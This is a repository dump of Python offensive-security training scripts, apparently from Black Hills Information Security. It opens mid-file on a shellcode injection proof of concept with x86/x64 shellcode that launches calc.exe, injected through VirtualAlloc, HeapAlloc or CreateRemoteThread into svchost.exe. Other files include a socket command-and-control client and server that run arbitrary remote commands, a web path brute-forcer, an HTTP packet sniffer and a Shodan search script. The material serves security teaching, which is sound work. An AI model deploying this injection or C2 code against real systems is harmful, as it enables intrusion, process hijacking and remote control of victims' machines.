"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" calc_x86 += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" calc_x86 += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" calc_x86 += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" calc_x86 += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" calc_x86 += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" calc_x86 += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" calc_x86 += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" calc_x86 += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" calc_x86 += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" calc_x86 += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00" calc_x86 += "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5" calc_x86 += "\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a" calc_x86 += "\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" calc_x86 += "\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" calc_x64 = "" calc_x64 += "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41" calc_x64 += "\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48" calc_x64 += "\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f" calc_x64 += "\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c" calc_x64 += "\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52" calc_x64 += "\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b" calc_x64 += "\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0" calc_x64 += "\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56" calc_x64 += "\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9" calc_x64 += "\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0" calc_x64 += "\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58" calc_x64 += "\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" calc_x64 += "\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0" calc_x64 += "\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" calc_x64 += "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" calc_x64 += "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" calc_x64 += "\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41" calc_x64 += "\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41" calc_x64 += "\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06" calc_x64 += "\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a" calc_x64 += "\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65" calc_x64 += "\x78\x65\x00" PROCESS_SOME_ACCESS = 0x000028 MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 MEM_COMMIT_RESERVE = 0x3000 PAGE_READWRITE = 0x04 PAGE_READWRITE_EXECUTE = 0x40 PAGE_READ_EXECUTE = 0x20 def __init__(self, shellcode=None): self.kernel32 = ctypes.windll.kernel32 self.kernel32_function_definitions() domain = os.getenv('USERDOMAIN') name = os.getenv('USERNAME') self.username = '{}\\{}'.format(domain, name).lower() if shellcode is None and platform.architecture()[0] == '64bit': print('[*] Architecture is 64-bit.') self.shellcode = self.calc_x64 else: print('[*] Architecture is 32-bit.') self.shellcode = self.calc_x86 menu = """ ____________________________________________________________________ Python Proof of Concept Shellcode Injection Techniques Author: Joff Thyer (c) 2020, Black Hills Information Security 1. Inject Shellcode using VirtualAlloc() within Python process. 2. Inject Shellcode using a created Heap within Python process. 3. Find a process that the user owns, and use CreateRemoteThread(). 9. Exit Program _____________________________________________________________________ """ done = False while not done: print(menu) try: s = int(input(" Enter your selection: ")) except: continue if s == 1: self.same_process_virtualalloc() elif s == 2: self.same_process_heapalloc() elif s == 3: self.inject_process_CreateRemoteThread() elif s == 9: done = True def kernel32_function_definitions(self): # Define argument types for Kernel32 functions # CloseHandle() self.CloseHandle = ctypes.windll.kernel32.CloseHandle self.CloseHandle.argtypes = [wt.HANDLE] self.CloseHandle.restype = wt.BOOL # CreateThread() self.CreateThread = ctypes.windll.kernel32.CreateThread self.CreateThread.argtypes = [ wt.LPVOID, ctypes.c_size_t, wt.LPVOID, wt.LPVOID, wt.DWORD, wt.LPVOID ] self.CreateThread.restype = wt.HANDLE # CreateRemoteThread() self.CreateRemoteThread = ctypes.windll.kernel32.CreateRemoteThread self.CreateRemoteThread.argtypes = [ wt.HANDLE, wt.LPVOID, ctypes.c_size_t, wt.LPVOID, wt.LPVOID, wt.DWORD, wt.LPVOID ] self.CreateRemoteThread.restype = wt.HANDLE # HeapAlloc() self.HeapAlloc = ctypes.windll.kernel32.HeapAlloc self.HeapAlloc.argtypes = [wt.HANDLE, wt.DWORD, ctypes.c_size_t] self.HeapAlloc.restype = wt.LPVOID # HeapCreate() self.HeapCreate = ctypes.windll.kernel32.HeapCreate self.HeapCreate.argtypes = [wt.DWORD, ctypes.c_size_t, ctypes.c_size_t] self.HeapCreate.restype = wt.HANDLE # OpenProcess() self.OpenProcess = ctypes.windll.kernel32.OpenProcess self.OpenProcess.argtypes = [wt.DWORD, wt.BOOL, wt.DWORD] self.OpenProcess.restype = wt.HANDLE # RtlMoveMemory() self.RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory self.RtlMoveMemory.argtypes = [wt.LPVOID, wt.LPVOID, ctypes.c_size_t] self.RtlMoveMemory.restype = wt.LPVOID # VirtualAlloc() self.VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc self.VirtualAlloc.argtypes = [ wt.LPVOID, ctypes.c_size_t, wt.DWORD, wt.DWORD ] self.VirtualAlloc.restype = wt.LPVOID # VirtualAllocEx() self.VirtualAllocEx = ctypes.windll.kernel32.VirtualAllocEx self.VirtualAllocEx.argtypes = [ wt.HANDLE, wt.LPVOID, ctypes.c_size_t, wt.DWORD, wt.DWORD ] self.VirtualAllocEx.restype = wt.LPVOID # VirtualFreeEx() self.VirtualFreeEx = ctypes.windll.kernel32.VirtualFreeEx self.VirtualFreeEx.argtypes = [ wt.HANDLE, wt.LPVOID, ctypes.c_size_t, wt.DWORD ] self.VirtualFreeEx.restype = wt.BOOL # VirtualProtect() self.VirtualProtect = ctypes.windll.kernel32.VirtualProtect self.VirtualProtect.argtypes = [ wt.LPVOID, ctypes.c_size_t, wt.DWORD, wt.LPVOID ] self.VirtualProtect.restype = wt.BOOL # VirtualProtectEx() self.VirtualProtectEx = ctypes.windll.kernel32.VirtualProtectEx self.VirtualProtectEx.argtypes = [ wt.HANDLE, wt.LPVOID, ctypes.c_size_t, wt.DWORD, wt.LPVOID ] self.VirtualProtectEx.restype = wt.BOOL # WaitForSingleObject self.WaitForSingleObject = self.kernel32.WaitForSingleObject self.WaitForSingleObject.argtypes = [wt.HANDLE, wt.DWORD] self.WaitForSingleObject.restype = wt.DWORD # WriteProcessMemory() self.WriteProcessMemory = self.kernel32.WriteProcessMemory self.WriteProcessMemory.argtypes = [ wt.HANDLE, wt.LPVOID, wt.LPCVOID, ctypes.c_size_t, wt.LPVOID ] self.WriteProcessMemory.restype = wt.BOOL def select_pid(self): candidates = {} for pid in psutil.pids(): p = psutil.Process(pid) try: name = p.name() username = p.username().lower() except: continue if self.username == username and name == 'svchost.exe': candidates[pid] = name choice = random.choice(list(candidates.keys())) print('[*] Selected Process ID: {} ({}) to Inject'.format( choice, candidates[choice] )) return int(choice) def same_process_virtualalloc(self): print(""" [*] ============================================= [*] Shellcode Resident in Same Process using [*] VirtualAlloc()/CreateThread()! [*] =============================================""") memptr = self.VirtualAlloc( 0, len(self.shellcode), self.MEM_COMMIT, self.PAGE_READWRITE_EXECUTE ) print('[*] VirtuallAlloc() Memory at: {:08X}'.format(memptr)) self.RtlMoveMemory(memptr, self.shellcode, len(self.shellcode)) print('[*] Shellcode copied into memory.') self.VirtualProtect(memptr, len(self.shellcode), self.PAGE_READ_EXECUTE, 0) print('[*] Changed permissions on memory to READ_EXECUTE only.') thread = self.CreateThread(0, 0, memptr, 0, 0, 0) print('[*] CreateThread() in same process.') self.WaitForSingleObject(thread, 0xFFFFFFFF) def same_process_heapalloc(self): print(""" [*] =========================================== [*] Shellcode Resident in Same Process using [*] HeapAlloc()/CreateThread()!' [*] ===========================================""") heap = self.HeapCreate(0x00040000, len(self.shellcode), 0) self.HeapAlloc(heap, 0x00000008, len(self.shellcode)) print('[*] HeapAlloc() Memory at: {:08X}'.format(heap)) self.RtlMoveMemory(heap, self.shellcode, len(self.shellcode)) print('[*] Shellcode copied into memory.') thread = self.CreateThread(0, 0, heap, 0, 0, 0) print('[*] CreateThread() in same process.') self.WaitForSingleObject(thread, 0xFFFFFFFF) def inject_process_CreateRemoteThread(self): print(""" [*] ======================================================= [*] Find a process to inject shellcode into using process [*] listing, then VirtualAllocEx(), WriteProcessMemory(), [*] CreateRemoteThread() [*] =======================================================""") pid = self.select_pid() ph = self.kernel32.OpenProcess(self.PROCESS_SOME_ACCESS, False, pid) print('[*] Process handle is: 0x{:06X}'.format(ph)) if ph == 0: return memptr = self.VirtualAllocEx( ph, 0, len(self.shellcode), self.MEM_COMMIT_RESERVE, self.PAGE_READWRITE ) print('[*] VirtualAllocEx() memory at: 0x{:08X}'.format(memptr)) if memptr == 0: return nbytes = ctypes.c_int(0) result = self.WriteProcessMemory( ph, memptr, self.shellcode, len(self.shellcode), ctypes.byref(nbytes) ) print('[+] Bytes written = {}'.format(nbytes.value)) if result == 0: print("[-] WriteProcessMemory() Failed - Error Code: {}".format( self.kernel32.GetLastError() )) return old_protection = ctypes.pointer(wt.DWORD()) result = self.VirtualProtectEx( ph, memptr, len(self.shellcode), self.PAGE_READ_EXECUTE, old_protection ) if result == 0: print("[-] VirtualProtectEx() Failed - Error Code: {}".format( self.kernel32.GetLastError() )) return th = self.CreateRemoteThread(ph, None, 0, memptr, None, 0, None) if th == 0: print("[-] CreateRemoteThread() Failed - Error Code: {}".format( self.kernel32.GetLastError() )) return self.VirtualFreeEx(ph, memptr, 0, 0xC000) self.CloseHandle(ph) if __name__ == '__main__': InjectProcess() ================================================ FILE: pymeta.py ================================================ import os import re import argparse import zipfile import PyPDF2 from lxml import etree as ET class PyMetaExtractor(): ext = ['docx', 'xlsx', 'pptx', 'pdf'] rexp = re.compile(r'.+\.({})$'.format('|'.join(ext))) def __init__(self, directory): self.directory = os.path.abspath(directory) print("[*] Starting to search from: [{}]".format(self.directory)) return def run(self): for cwd, lod, lof in os.walk(self.directory): for f in lof: m = self.rexp.match(f) if m: fullpath = os.path.join(cwd, f) try: print('[*] {}'.format(fullpath)) if m.group(1) == 'pdf': self.pdf(fullpath) else: self.openxml(fullpath) print('') except: continue def openxml(self, pathname): zf = zipfile.ZipFile(pathname, 'r') docprops = ET.fromstring(zf.read('docProps/core.xml')) for meta in docprops.findall('*'): if meta.tag[0] == '{': tag = meta.tag.split('}')[1].title() else: tag = meta.tag.title() value = meta.text print(' [+] {:15s} => {}'.format(tag, value)) def pdf(self, pathname): reader = PyPDF2.PdfFileReader(pathname) meta = reader.getDocumentInfo() for key in meta: tag = key.lstrip('/') value = meta[key] print(' [+] {:15s} => {}'.format(tag, value)) if __name__ == '__main__': print(''' _______________________________________ PyMeta version 1.0 Author: Joff Thyer (c) 2020 Black Hills Information Security _______________________________________ ''') parser = argparse.ArgumentParser() parser.add_argument('directory', help='starting directory') args = parser.parse_args() pm = PyMetaExtractor(args.directory) pm.run() ================================================ FILE: requirements.txt ================================================ pywinrm pypsrp wmi boto3 azure oauth2client lxml PyPDF2 requests requestium selenium bs4 scapy shodan ================================================ FILE: shodan_search.py ================================================ from shodan import Shodan import sys ''' Author: Mike Felch (c) 2020, @ustayready - Copyright 2020 Mike Felch Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' def main(api_key, search): api = Shodan(api_key) for result in api.search_cursor(search): print(result['hostnames']) if __name__ == '__main__': api_key = sys.argv[1] search = sys.argv[2] main(api_key, search) ================================================ FILE: socket_c2_client.py ================================================ import socket import subprocess import sys import time ''' Author: Mike Felch (c) 2020, @ustayready - Copyright 2020 Mike Felch Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' def main(): c2_server = '127.0.0.1' c2_port = 777 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: sock.connect((c2_server, c2_port)) listen_commands(sock) def listen_commands(sock): sock.sendall('check-in'.encode('utf-8')) while True: command = sock.recv(1024).decode('utf-8') print(f'Received command from server: {command}') if command == 'die': sys.exit(1) command_results = subprocess.getoutput(command) sock.sendall(command_results.encode('utf-8')) if __name__ == '__main__': main() ================================================ FILE: socket_c2_server.py ================================================ import socket import sys import time ''' Author: Mike Felch (c) 2020, @ustayready - Copyright 2020 Mike Felch Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' def main(): host = '127.0.0.1' port = 777 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: print(f'Listening on {host} port {port}') s.bind((host,port)) s.listen() while True: conn, addr = s.accept() with conn: print(f'Connection! {addr[0]}') listen_results(conn) def listen_results(conn): while True: results = conn.recv(4096).decode('utf-8') print(f'-------- Received Message from Client --------') print(results) command = input('Send command to client: ') conn.sendall(command.encode('utf-8')) if command == 'die': sys.exit(1) if __name__ == '__main__': main() ================================================ FILE: web_brute.py ================================================ import requests import sys ''' Author: Mike Felch (c) 2020, @ustayready - Copyright 2020 Mike Felch Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' def main(filename, base_url): with open(filename, 'r') as file: for uri in file.readlines(): url = f'{base_url}{uri.strip()}' check_url(url) def check_url(url): try: h = {'user-agent':'firefox'} response = requests.get(url, headers=h) if response.status_code == 200: print(f'{url} is good!') except: print(f'{url} is bad') pass if __name__ == '__main__': base_url = sys.argv[1].rstrip('/') filename = sys.argv[2] main(filename, base_url) ================================================ FILE: web_robots.py ================================================ import requests ''' Author: Mike Felch (c) 2020, @ustayready - Copyright 2020 Mike Felch Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' def main(url): robot_url = f'{url}/robots.txt' response = requests.get(robot_url) print(response.text) if __name__ == "__main__": url = sys.argv[1] main(url) ================================================ FILE: web_sniff.py ================================================ from scapy.all import * ''' Author: Mike Felch (c) 2020, @ustayready - Copyright 2020 Mike Felch Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' def main(): sniff(prn=http_header, filter="tcp port 80") def http_header(packet): http_packet=str(packet) if http_packet.find('GET'): return print_packet(packet) def print_packet(packet1): ret = "-------------------------------[ Received Packet ] -------------------------------\n" ret += "\n".join(packet1.sprintf("{Raw:%Raw.load%}\n").split(r"\r\n")) ret += "---------------------------------------------------------------------------------\n" return ret if __name__ == '__main__': main() ================================================ FILE: web_spa.py ================================================ import sys from bs4 import * from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.by import By from requestium import Session ''' Author: Mike Felch (c) 2020, @ustayready - Copyright 2020 Mike Felch Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' def main(url): session = Session(webdriver_path='../Chrome Canary/chromedriver.exe', browser='chrome', default_timeout=6, webdriver_options={ 'arguments': [ 'disable-logging', 'headless' ] } ) session.driver.get(url) div_content = WebDriverWait(session.driver, 5).until( EC.presence_of_element_located( (By.XPATH, "//div[@id='content']") ) ) print('######## FROM SELENIUM ########') print(div_content.text) print('######## COPYING SESSION FROM SELENIUM TO REQUESTS ########') session.transfer_driver_cookies_to_session() final_response = session.get(url, headers={'user-agent':'custom requestium'}) soup = BeautifulSoup(final_response.text, 'html.parser') print('######## FROM REQUESTS ########') body_text = soup.find(id="content") print(body_text.text) if __name__ == '__main__': url = sys.argv[1] main(url)